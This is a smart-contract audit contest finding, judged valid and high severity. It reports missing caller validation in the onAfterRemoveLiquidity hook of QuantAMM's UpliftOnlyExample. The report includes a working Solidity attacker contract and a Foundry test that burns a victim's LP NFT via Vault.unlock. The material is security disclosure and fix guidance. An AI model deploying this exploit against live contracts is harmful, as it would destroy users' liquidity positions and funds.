QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of Robust Caller Validation in onAfterRemoveLiquidity Exposes Protocol to Malicious Exploits

cybrid123

Summary

The onAfterRemoveLiquidity function in the UpliftOnlyExample contract is vulnerable to unauthorized invocation due to insufficient caller validation. While the function employs an onlySelfRouter modifier, it does not ensure the expected execution flow. This oversight allows attackers to manipulate the function using external smart contracts, potentially resulting in unauthorized token burns, fee manipulation, or asset loss for legitimate users.

Vulnerability Details

Insufficient Caller Validation: The onlySelfRouter modifier only verifies that address(this) is the set router, but it does not check if the invocation follows the intended execution sequence from the Vault contract.

Exploit

  • Using the unlock function in the Vault contract, the attacker provides arbitrary parameters to trigger onAfterRemoveLiquidity.

  • This leads to unauthorized burning of LP tokens, manipulation of fees, or even redistribution of fees in ways that harm legitimate users.

POC

Attacker contract

contract Attacker {
struct AttackParams {
address pool;
UpliftOnlyExample upliftOnlyRouter;
uint bptAmount;
uint256[] minAmountsOut;
address targetUser;
}
function unlockandAttack(IVaultMock vault, address pool, UpliftOnlyExample upliftOnlyRouter, uint bptAmount, uint256[] memory minAmountsOut, address targetUser) public {
vault.unlock(
abi.encodeCall(
Attacker.attack,
AttackParams({
pool: pool,
upliftOnlyRouter: upliftOnlyRouter,
bptAmount : bptAmount,
minAmountsOut : minAmountsOut,
targetUser : targetUser
})
)
);
}
function attack(AttackParams calldata params) external {
params.upliftOnlyRouter.onAfterRemoveLiquidity(
address(params.upliftOnlyRouter),
params.pool,
RemoveLiquidityKind.PROPORTIONAL,
params.bptAmount,
params.minAmountsOut,
params.minAmountsOut,
params.minAmountsOut,
bytes(abi.encodePacked(params.targetUser))
);
}
}
​

Attack test

function test_onAfterRemoveLiquidityNoSenderCheck() public {
LPNFT lpNft = upliftOnlyRouter.lpNFT();
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
​
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
assertEq(lpNft.balanceOf(bob), uint(1));
​
Attacker attackerContract = new Attacker();
attackerContract.unlockandAttack(vault, pool, upliftOnlyRouter, bptAmount, minAmountsOut, bob);
​
//the attack will burn bobs token and then bob is unable to withdraw and then looses his assets
assertEq(lpNft.balanceOf(bob), uint(0));
}

Impact

Denial of Service: Malicious burning of legitimate users’ LP tokens prevents them from withdrawing liquidity.

Tools Used

manual auditing

Recommendations

Add the only vault modier to the onlyVault modifier to the onAfterRemoveLiquidity contract

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_no_access_control_wipe_all_data

Likelihood: High, anyone, anytime. Impact: High, Loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!